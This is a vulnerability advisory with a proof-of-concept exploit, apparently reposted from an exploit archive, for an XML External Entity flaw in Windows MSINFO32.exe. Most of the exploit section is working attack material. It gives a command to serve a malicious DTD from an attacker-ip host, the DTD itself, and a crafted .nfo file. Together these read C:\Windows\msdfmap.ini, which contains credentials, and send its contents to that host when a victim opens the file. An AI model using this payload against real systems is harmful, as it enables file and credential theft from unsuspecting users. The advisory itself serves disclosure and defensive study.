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Microsoft MSINFO32.EXE 6.1.7601 - .NFO XML External Entity Injection Vulnerability
[[+] Credits: John Page aka hyp3rlinx Vendor: ================= www.microsoft.com Product: ========================== Windows System Information MSINFO32.exe v6.1.7601 Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system components, and software environment. Parameters FileName : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file. Vulnerability Type: =================== XML External Entity Vulnerability Details: ===================== Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack which can potentially allow remote attackers to gain access to and exfiltrate files from the victims computer if they open a malicious ".nfo" file via remote share / USB etc. Upon open the file user will see error message like "System Information is unable to open this .nfo file. The file might be corrupt etc.. Tested Windows 7 SP1 Exploit code(s): =============== Access and exfiltrate Windows "msdfmap.ini" file as trivial POC. This file contains credentials for MS ADO Remote Data Services. 1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd) 2) "payload.dtd" <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>"> %all; 3) "FindMeThatBiatch.nfo" (corrupt .NFO file) <?xml version="1.0"?> <!DOCTYPE HYP3RLINX [ <!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini"> <!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32 opens... attacker gets files. OR open via Windows CL: c:\>msinfo32 \\REMOTE-SHARE\FindMeThatBiatch.nfo Disclosure Timeline: ====================================== Vendor Notification: September 4, 2016 Vendor Reply "not meet the bar for security servicing": September 7, 2016 December 4, 2016 : Public Disclosure # 0day.today [2025-01-08] #